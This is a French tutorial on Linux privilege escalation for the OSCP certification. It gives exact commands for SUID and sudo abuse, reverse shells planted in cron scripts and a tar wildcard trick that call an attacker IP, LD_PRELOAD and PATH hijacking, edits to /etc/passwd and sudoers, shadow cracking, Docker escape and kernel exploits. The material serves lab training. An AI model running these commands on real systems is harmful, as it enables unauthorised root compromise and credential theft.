ITSkillsCenter
Cybersécurité

Escalade de privilèges Linux pour l’OSCP : SUID, sudo, cron, capabilities — tutoriel pas-à-pas

8 min de lecture

Avertissement légal : toutes les techniques présentées dans ce tutoriel sont destinées à un usage légal uniquement — machines CTF, labs OffSec (PEN-200), environnements de test pour lesquels vous disposez d’une autorisation écrite. Toute utilisation sur un système tiers sans autorisation est illégale.

Vous venez d’obtenir un shell initial sur une machine Linux. La prochaine étape dans la méthodologie OSCP est d’escalader vos privilèges jusqu’à root. Ce tutoriel couvre 15 vecteurs d’attaque concrets, ordonnés du plus fréquent au plus avancé, avec les commandes exactes utilisées en exam.

1. Reconnaissance initiale post-shell

Avant de lancer un outil automatisé, collectez manuellement les informations de base. Ces commandes s’exécutent en 30 secondes et révèlent souvent le vecteur directement.

Étape 1 — Identité et contexte

# Qui suis-je ?
id
whoami
groups

# Hostname et OS
hostname
uname -a
cat /etc/os-release
cat /proc/version

Étape 2 — Utilisateurs et sessions actives

# Tous les utilisateurs avec shell
cat /etc/passwd | grep -v nologin | grep -v false

# Sessions actives
w
who
last | head -20

# Fichiers dans les home
ls -la /home/
ls -la /root/ 2>/dev/null

Étape 3 — Réseau et processus

# Ports en écoute locale (non visibles depuis l'extérieur)
ss -tulpn
netstat -tulpn 2>/dev/null

# Processus en cours — chercher les services root
ps aux --sort=-%mem | head -30
ps aux | grep root | grep -v grep

# Interfaces réseau
ip a
ip route

Étape 4 — Variables d’environnement et PATH

env
echo $PATH
cat /etc/environment
cat /etc/profile
cat ~/.bashrc ~/.bash_profile 2>/dev/null

2. Automatisation : LinPEAS et LinEnum

LinPEAS est l’outil de référence pour l’énumération automatique des vecteurs d’escalade. Il colore les résultats en rouge/jaune selon la criticité.

Étape 1 — Transfert sur la cible

# Sur votre machine Kali — démarrez un serveur HTTP
python3 -m http.server 8080

# Sur la cible (depuis le shell initial)
curl http://10.10.14.x:8080/linpeas.sh -o /tmp/linpeas.sh
# ou avec wget
wget http://10.10.14.x:8080/linpeas.sh -O /tmp/linpeas.sh

chmod +x /tmp/linpeas.sh

Étape 2 — Exécution et capture

# Exécution complète avec couleurs — redirigez vers un fichier pour relecture
/tmp/linpeas.sh -a 2>&1 | tee /tmp/linpeas_out.txt

# Option sans couleurs (si terminal ne supporte pas ANSI)
/tmp/linpeas.sh -a --no-color 2>&1 | tee /tmp/linpeas_out.txt

Étape 3 — Priorités de lecture

Dans la sortie LinPEAS, lisez dans cet ordre :

  1. Rouge vif (99% PE vector) — exploitez en priorité
  2. Rouge — exploitez en second
  3. Jaune — vérifiez manuellement

Sections critiques à scanner : Sudo version & sudoers, SUID/SGID, Interesting files, Cron jobs, Writable files, Capabilities.

LinEnum (alternative)

curl http://10.10.14.x:8080/LinEnum.sh -o /tmp/linenum.sh
chmod +x /tmp/linenum.sh
/tmp/linenum.sh -t -k password 2>&1 | tee /tmp/linenum_out.txt

3. SUID / SGID binaires

Un binaire avec le bit SUID s’exécute avec les droits du propriétaire (souvent root). Si ce binaire peut spawner un shell ou écrire des fichiers, c’est game over.

Étape 1 — Trouver les binaires SUID

# SUID (exécution avec droits du propriétaire)
find / -perm -4000 -type f 2>/dev/null | sort

# SGID (exécution avec droits du groupe)
find / -perm -2000 -type f 2>/dev/null | sort

# Les deux en un
find / -perm /6000 -type f 2>/dev/null | sort

Étape 2 — Identifier les binaires exploitables avec GTFOBins

Comparez votre liste avec GTFOBins. Exemples classiques :

Binaire Commande d’exploitation SUID
bash bash -p → shell root (si SUID et bash < 5.x)
find find . -exec /bin/bash -p \; -quit
vim vim -c ':py3 import os; os.execl("/bin/bash", "bash", "-p")'
nmap (legacy) nmap --interactive → !sh (nmap < 5.21)
python python -c 'import os; os.execl("/bin/bash", "bash", "-p")'
cp Copier /etc/shadow dans un dossier lisible, puis cracker
env env /bin/bash -p

Étape 3 — Exemple concret avec find SUID

# Vérifier si find a le SUID
ls -la $(which find)
# -rwsr-xr-x 1 root root ... /usr/bin/find

# Escalade
find . -exec /bin/bash -p \; -quit
# Résultat : bash-5.0# id
# uid=1000(www-data) gid=1000(www-data) euid=0(root) groups=...

Étape 4 — Binaires customs SUID (non-standard)

# Isoler les SUID hors des chemins système standard
find / -perm -4000 -type f 2>/dev/null | grep -v -E "^/(usr|bin|sbin|lib)" | sort

# Analyser le binaire custom avec strings
strings /opt/custom_suid_binary
file /opt/custom_suid_binary

# Lancer avec ltrace/strace pour voir les appels système
ltrace /opt/custom_suid_binary 2>&1 | head -40
strace /opt/custom_suid_binary 2>&1 | grep -E "(open|exec|read)" | head -20

4. Mauvaise configuration sudo

Le fichier /etc/sudoers définit ce que les utilisateurs peuvent exécuter avec sudo. Les mauvaises configurations sont extrêmement fréquentes dans le PEN-200.

Étape 1 — Lister les droits sudo de l’utilisateur courant

sudo -l

Sortie typique :

User www-data may run the following commands on target:
    (ALL) NOPASSWD: /usr/bin/vim
    (ALL) NOPASSWD: /usr/bin/python3 /opt/script.py
    (root) NOPASSWD: /usr/bin/find

Étape 2 — GTFOBins sudo — exemples clés

# vim avec sudo → shell root
sudo vim -c ':!/bin/bash'

# python3 → shell root
sudo python3 -c 'import os; os.system("/bin/bash")'

# less → shell root
sudo less /etc/profile
# puis depuis less : !bash

# awk → shell root
sudo awk 'BEGIN {system("/bin/bash")}'

# tee — écrire dans un fichier root
echo "www-data ALL=(ALL) NOPASSWD:ALL" | sudo tee -a /etc/sudoers
# Ensuite : sudo bash

# wget — écraser un fichier system
sudo wget http://10.10.14.x:8080/malicious -O /etc/sudoers

Étape 3 — Script Python invoqué avec sudo (chemin partiel)

# Cas : (root) NOPASSWD: /usr/bin/python3 /opt/script.py
# Si script.py importe un module et que vous pouvez écrire dans son répertoire
cat /opt/script.py
# import subprocess; subprocess.run(["id"])

# Créez un faux module dans le répertoire courant
cd /opt
echo 'import os; os.system("/bin/bash")' > subprocess.py
sudo /usr/bin/python3 /opt/script.py
# → shell root via module hijacking

Étape 4 — Sudo version vulnérable (Baron Samedit)

# Vérifier la version sudo
sudo --version
# sudo version 1.8.x (< 1.8.31p2) = CVE-2021-3156 (Baron Samedit)
# sudo 1.9.x (< 1.9.5p2) = aussi vulnérable

# Vérification rapide : si la commande retourne "sudoedit: /etc/...:" sans erreur de parsing
sudoedit -s '\' `python3 -c 'print("A"*65536)'`
# Crash ou segfault = vulnérable

# Exploit public (lab uniquement)
# https://github.com/blasty/CVE-2021-3156

5. Cron jobs mal sécurisés

Les tâches planifiées qui exécutent des scripts writables sont l'une des techniques les plus fiables dans le PEN-200. Le script tourne en root → vous écrivez dedans → root shell.

Étape 1 — Lister tous les cron jobs

# Crontabs système
cat /etc/crontab
cat /etc/cron.d/*
ls -la /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/

# Crontab de l'utilisateur courant
crontab -l

# Crontabs de tous les utilisateurs (si accès)
for user in $(cut -f1 -d: /etc/passwd); do
  echo "--- $user ---"
  crontab -u $user -l 2>/dev/null
done

# Processus cron en cours (repère les jobs au moment où ils tournent)
pspy64  # si disponible/transféré — surveille les processus sans droits root

Étape 2 — Transférer et utiliser pspy

# Sur Kali
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
python3 -m http.server 8080

# Sur la cible
wget http://10.10.14.x:8080/pspy64 -O /tmp/pspy64
chmod +x /tmp/pspy64
/tmp/pspy64 -pf -i 1000
# Observer pendant 2-3 minutes — les crons root apparaissent avec UID=0

Étape 3 — Écrire dans le script de cron

# Cas : /etc/crontab contient
# * * * * *   root   /opt/cleanup.sh

# Vérifier les droits d'écriture sur le script
ls -la /opt/cleanup.sh
# -rwxrwxr-x 1 root root ... = WRITABLE par tous !

# Injecter un reverse shell
echo 'bash -i >& /dev/tcp/10.10.14.x/4444 0>&1' >> /opt/cleanup.sh

# Sur Kali — écoutez
nc -lvnp 4444

# Attendre le prochain cycle cron (max 60 secondes)

Étape 4 — Cron écrit dans un dossier writable

# Cas : le cron appelle /tmp/maintenance.sh
# ou appelle un chemin que vous contrôlez

# Créer le script malveillant
cat > /tmp/maintenance.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.x/4444 0>&1
EOF
chmod +x /tmp/maintenance.sh

6. PATH hijacking

Si un script SUID ou exécuté par root appelle une commande sans chemin absolu (ex: ls au lieu de /bin/ls), vous pouvez injecter un faux binaire en tête du PATH.

Étape 1 — Identifier l'appel vulnérable

# Analyser le binaire SUID avec strings
strings /opt/vuln_suid
# Output contient : "service apache2 start"  ← appel sans chemin absolu

# Confirmer avec strace
strace /opt/vuln_suid 2>&1 | grep exec

Étape 2 — Créer le faux binaire

# Créer /tmp/service qui spawne un shell root
cat > /tmp/service << 'EOF'
#!/bin/bash
/bin/bash -p
EOF
chmod +x /tmp/service

# Injecter /tmp en tête du PATH
export PATH=/tmp:$PATH

# Vérifier
echo $PATH
# /tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

# Exécuter le binaire SUID
/opt/vuln_suid
# → bash-5.0# id
# uid=1000(user) gid=1000(user) euid=0(root)

7. LD_PRELOAD et variables d'environnement

Si un utilisateur peut exécuter n'importe quelle commande avec sudo et que env_keep+=LD_PRELOAD est dans le sudoers, c'est une escalade directe.

Étape 1 — Vérifier env_keep dans sudo

sudo -l
# Chercher : env_keep += "LD_PRELOAD"
# ou : env_keep += "LD_LIBRARY_PATH"

Étape 2 — Créer la librairie malveillante

# Créer shell.c
cat > /tmp/shell.c << 'EOF'
#include 
#include 
#include 

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
EOF

# Compiler en librairie partagée
gcc -fPIC -shared -nostartfiles -o /tmp/shell.so /tmp/shell.c

# Exécuter avec sudo en forçant LD_PRELOAD
sudo LD_PRELOAD=/tmp/shell.so find / 2>/dev/null
# → shell root immédiat

Exploitation LD_LIBRARY_PATH

# Identifier les librairies chargées par le programme sudo
ldd /usr/sbin/apache2
# libcrypt.so.1 => /lib/x86_64-linux-gnu/libcrypt.so.1

# Créer une fausse libcrypt.so dans un dossier writable
cat > /tmp/libcrypt.c << 'EOF'
#include 
#include 
void crypt() {
    system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash");
}
EOF
gcc -fPIC -shared -o /tmp/libcrypt.so.1 /tmp/libcrypt.c

# Exécuter avec sudo
sudo LD_LIBRARY_PATH=/tmp apache2 2>/dev/null
/tmp/rootbash -p
# → euid=0

8. Permissions faibles sur fichiers critiques

Étape 1 — /etc/passwd writable

# Vérifier
ls -la /etc/passwd
# -rw-rw-r-- 1 root passwd ... = writable par groupe passwd !

# Générer un hash de mot de passe
openssl passwd -1 -salt hack password123
# $1$hack$WH9bFqoHiHMVxDmCN6g3W1

# Ajouter un utilisateur root
echo 'hacker:$1$hack$WH9bFqoHiHMVxDmCN6g3W1:0:0:root:/root:/bin/bash' >> /etc/passwd

# Se connecter
su hacker
# Password: password123
# root@target:/# id
# uid=0(root)

Étape 2 — /etc/shadow readable

# Vérifier
ls -la /etc/shadow
# -rw-r--r-- = readable par tous (mauvaise config)

# Copier les hashes
cat /etc/shadow | grep -v '!!' | grep -v '*'

# Cracker avec hashcat (sur Kali)
hashcat -m 1800 shadow.txt /usr/share/wordlists/rockyou.txt --force
# -m 1800 = sha512crypt (type $6$)
# -m 500  = md5crypt    (type $1$)
# -m 1400 = sha256      (type $5$)

Étape 3 — Fichiers de configuration contenant des mots de passe

# Chercher des mots de passe dans les fichiers config
grep -r "password" /etc/ 2>/dev/null | grep -v "^Binary"
grep -r "passwd" /var/www/ 2>/dev/null | grep -v ".git"
grep -r "DB_PASS\|database_password\|MYSQL_PASS" /var/www/ 2>/dev/null

# Historiques bash de tous les utilisateurs
cat /home/*/.bash_history 2>/dev/null
cat /root/.bash_history 2>/dev/null

# Fichiers avec les mots "pass", "secret", "key" dans leur nom
find / -name "*pass*" -o -name "*secret*" -o -name "*cred*" 2>/dev/null | grep -v proc

9. Linux Capabilities

Les capabilities permettent de donner à un binaire une permission root spécifique sans le passer SUID complet. cap_setuid suffit pour une escalade.

Étape 1 — Lister les capabilities

# Lister tous les binaires avec capabilities
getcap -r / 2>/dev/null

Sorties à surveiller :

/usr/bin/python3.8 = cap_setuid+eip
/usr/bin/perl = cap_setuid+eip
/usr/bin/ruby = cap_setuid+eip
/usr/bin/node = cap_setuid+eip
/usr/sbin/tcpdump = cap_net_raw+eip

Étape 2 — Exploitation cap_setuid

# Python avec cap_setuid
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# → shell root

# Perl avec cap_setuid
perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'

# Ruby avec cap_setuid
ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'

# Node.js avec cap_setuid
node -e 'process.setuid(0); require("child_process").spawn("/bin/bash", {stdio: [0,1,2]})'

cap_net_raw (tcpdump) — sniff de mots de passe

# Sniffer du trafic réseau interne
tcpdump -i lo -A -n 2>/dev/null | grep -i "pass\|user\|login\|auth"

# Capturer dans un fichier pour analyse
tcpdump -i any -w /tmp/capture.pcap -n 2>/dev/null &
# Après quelques minutes, analyser sur Kali avec Wireshark ou tshark

10. NFS no_root_squash

Si le serveur NFS exporte un partage avec l'option no_root_squash, un attaquant root sur sa machine peut créer un SUID binaire sur le partage et l'exécuter sur la cible.

Étape 1 — Identifier les exports NFS depuis la cible

cat /etc/exports
# /shared  *(rw,sync,no_root_squash)  ← VULNÉRABLE

# Depuis l'extérieur (Kali)
showmount -e 10.10.10.x
# Export list for 10.10.10.x:
# /shared *

Étape 2 — Monter le partage sur Kali et créer le SUID

# Sur Kali (en root)
mkdir /mnt/nfs_target
mount -t nfs 10.10.10.x:/shared /mnt/nfs_target

# Créer un binaire SUID bash
cp /bin/bash /mnt/nfs_target/rootbash
chmod +s /mnt/nfs_target/rootbash
# Le fichier est créé avec UID=0 (root Kali) et le bit SUID

# Vérifier
ls -la /mnt/nfs_target/rootbash
# -rwsr-xr-x 1 root root ... rootbash

Étape 3 — Exécuter depuis la cible

# Sur la cible (dans le shell initial)
ls -la /shared/rootbash
# -rwsr-xr-x 1 root root ...

/shared/rootbash -p
# bash-5.0# id
# uid=1000(user) gid=1000(user) euid=0(root)

11. Escape Docker (groupe docker)

Si votre utilisateur appartient au groupe docker, vous pouvez monter le système de fichiers hôte dans un conteneur et lire/écrire n'importe quel fichier root.

Étape 1 — Vérifier l'appartenance au groupe docker

id
# uid=1000(user) gid=1000(user) groups=1000(user),999(docker)  ← VULNÉRABLE

# Lister les images disponibles
docker images

Étape 2 — Monter le système hôte et obtenir root

# Méthode 1 — Shell root dans un conteneur avec / monté
docker run -it -v /:/mnt/host alpine chroot /mnt/host /bin/bash
# → root@container:/# id
# uid=0(root) gid=0(root)

# Méthode 2 — Copier bash SUID sur l'hôte depuis le conteneur
docker run -v /:/mnt/host alpine cp /bin/sh /mnt/host/tmp/sh
docker run -v /:/mnt/host alpine chmod +s /mnt/host/tmp/sh
/tmp/sh -p
# → euid=0

# Méthode 3 — Ajouter une entrée sudoers depuis le conteneur
docker run -v /:/mnt/host alpine sh -c \
  'echo "user ALL=(ALL) NOPASSWD:ALL" >> /mnt/host/etc/sudoers'
sudo bash

12. Services systemd / unit files writables

Si vous pouvez modifier un fichier .service exécuté par root, vous injectez vos commandes dans le démarrage du service.

Étape 1 — Trouver les unit files writables

# Chercher les .service writables
find /etc/systemd /lib/systemd /usr/lib/systemd -name "*.service" 2>/dev/null \
  | while read f; do [ -w "$f" ] && echo "WRITABLE: $f"; done

# Alternative avec ls
ls -la /etc/systemd/system/
ls -la /lib/systemd/system/ | grep -v "^l"

Étape 2 — Modifier un service writable

# Supposons que /etc/systemd/system/vuln.service est writable
cat /etc/systemd/system/vuln.service
# [Service]
# ExecStart=/usr/bin/clean_logs.sh
# User=root

# Modifier l'ExecStart pour injecter un SUID bash
cat > /etc/systemd/system/vuln.service << 'EOF'
[Unit]
Description=Vulnerable service

[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash'

[Install]
WantedBy=multi-user.target
EOF

# Recharger et redémarrer le service (ou attendre un reboot)
systemctl daemon-reload
systemctl restart vuln.service

/tmp/rootbash -p
# → euid=0

13. Wildcard injection dans cron

Certains programmes comme tar et chown acceptent des arguments via le wildcard *. En créant des fichiers avec des noms qui ressemblent à des options, vous injectez des arguments.

Contexte typique

# /etc/crontab contient :
# * * * * *  root  cd /var/backups && tar czf backup.tgz *

# tar avec * = équivaut à lister tous les fichiers du dossier
# Si vous créez un fichier nommé --checkpoint-action=exec=sh${IFS}revshell.sh
# tar l'interprètera comme un paramètre

Étape 1 — Créer les fichiers pièges dans /var/backups

cd /var/backups

# Créer le reverse shell
cat > revshell.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.x/4444 0>&1
EOF
chmod +x revshell.sh

# Créer les "fichiers" qui seront interprétés comme arguments tar
echo "" > '--checkpoint=1'
echo "" > '--checkpoint-action=exec=sh revshell.sh'

# Sur Kali — écouter
nc -lvnp 4444

# Au prochain cycle cron, tar exécutera :
# tar czf backup.tgz --checkpoint=1 --checkpoint-action=exec=sh revshell.sh [autres fichiers]
# → reverse shell root

Wildcard injection avec chown

# Si le cron contient : chown root:root /var/data/*
# Créer un fichier "--reference=malicious_file"
# chown copiera les permissions du fichier de référence

# Créer un fichier de référence appartenant à votre user
touch /tmp/ref_file
chown user:user /tmp/ref_file

# Créer le fichier piège
cd /var/data
touch -- '--reference=/tmp/ref_file'
# Le prochain chown * changera la propriété de tous les fichiers vers user:user

14. Kernel exploits (DirtyPipe, DirtyCow)

Les exploits kernel sont puissants mais risqués (peuvent crasher la machine). À utiliser en dernier recours. Vérifiez toujours la version kernel avant de lancer.

Étape 1 — Identifier la version kernel

uname -r
# 5.8.0-50-generic

cat /proc/version
# Linux version 5.8.0-50-generic (buildd@lgw01-amd64-039) ...

# Vérifier l'architecture
uname -m
# x86_64

DirtyPipe — CVE-2022-0847 (kernel 5.8 à 5.16.11)

# Vérifier si la version kernel est vulnérable
# Vulnérable : 5.8 ≤ kernel < 5.16.11, 5.15.25, 5.10.102

uname -r  # 5.8.0-50 → VULNÉRABLE

# Compiler et exécuter l'exploit (sur la cible)
wget http://10.10.14.x:8080/dirtypipe.c -O /tmp/dirtypipe.c
gcc /tmp/dirtypipe.c -o /tmp/dirtypipe
/tmp/dirtypipe /etc/passwd
# → Écrase le hash root dans /etc/passwd avec un hash connu
# → su root (avec le mot de passe correspondant)

DirtyCow — CVE-2016-5195 (kernel < 4.8.3)

# Kernels anciens (CTF avec vieilles machines)
uname -r  # 3.x ou 4.x ancien → potentiellement vulnérable

# Exploit cowroot (copie bash avec SUID)
wget http://10.10.14.x:8080/cowroot.c -O /tmp/cowroot.c
gcc /tmp/cowroot.c -o /tmp/cowroot -pthread
/tmp/cowroot
# → root shell

Note exam : les machines OSCP récentes (depuis 2022) tournent généralement sur des kernels patchés contre DirtyCow. Priorisez les vecteurs de configuration avant les exploits kernel.

Suggérer des exploits kernel via LES

# Linux Exploit Suggester
wget http://10.10.14.x:8080/les.sh -O /tmp/les.sh
chmod +x /tmp/les.sh
/tmp/les.sh
# Affiche les CVEs applicables à la version kernel courante avec probabilités

15. TMUX / Screen session hijacking

Si un utilisateur root a laissé une session tmux ou screen détachée accessible, vous pouvez vous y attacher et hériter de ses droits.

TMUX — session root détachée

# Lister toutes les sessions tmux sur le système
tmux list-sessions 2>/dev/null
# ou
ls -la /tmp/tmux-*/

# Cas : socket tmux appartenant à root mais lisible
ls -la /tmp/tmux-0/default
# srwxrwxrwx 1 root root → WORLD WRITABLE

# S'attacher à la session root
tmux -S /tmp/tmux-0/default attach
# → shell root dans le terminal root

Screen — session détachée

# Lister les sessions screen
screen -ls
# ou
ls -la /var/run/screen/

# S'attacher à une session root détachée
screen -r root/  # nom de session
# ou
screen -x  # attacher à toutes les sessions

Créer une session tmux root accessible

# Si vous avez accès à un cron root — forcer la création d'une socket world-writable
echo 'tmux -S /tmp/root_session new-session -d' >> /opt/cron_script.sh
# Attendre l'exécution du cron
tmux -S /tmp/root_session attach

Checklist exam — 20 points en 45 minutes

Dans l'exam OSCP, une fois le shell initial obtenu, suivez cette séquence rapide pour maximiser les chances de root :

# Vérification Commande rapide Temps estimé
1 Identité et groupes id && groups 10 sec
2 Sudo sans mot de passe sudo -l 30 sec
3 SUID binaires find / -perm -4000 -type f 2>/dev/null 30 sec
4 Capabilities getcap -r / 2>/dev/null 20 sec
5 LinPEAS (automatisation) Transférer + exécuter 3-5 min
6 Cron jobs writables cat /etc/crontab; cat /etc/cron.d/* 2 min
7 pspy (processus root) Transférer + observer 3 min 3-5 min
8 Mots de passe dans config grep -r "password" /etc /var/www 2>/dev/null 1 min
9 /etc/passwd writable ls -la /etc/passwd 10 sec
10 NFS no_root_squash cat /etc/exports 10 sec
11 Groupe docker/lxd id | grep -E "docker|lxd" 10 sec
12 Version kernel uname -r → LES 2 min

Capture du proof.txt après root

# Dès root obtenu — screenshot IMMÉDIAT
id && hostname && cat /root/proof.txt
# uid=0(root) gid=0(root) groups=0(root)
# target-machine
# OS{abc123def456...}

# Screenshot avec ipconfig/ifconfig visible
ip a | grep -A2 "eth0\|ens"
cat /root/proof.txt

Ressources et références

Prochaines étapes

Une fois root sur une machine Linux, l'étape suivante dépend du type de machine dans votre progression :

#OSCP
Besoin d'un site web ?

Confiez-nous la Création de Votre Site Web

Site vitrine, e-commerce ou application web — nous transformons votre vision en réalité digitale. Accompagnement personnalisé de A à Z.

À partir de 250.000 FCFA
Parlons de Votre Projet
Publicité

Articles Similaires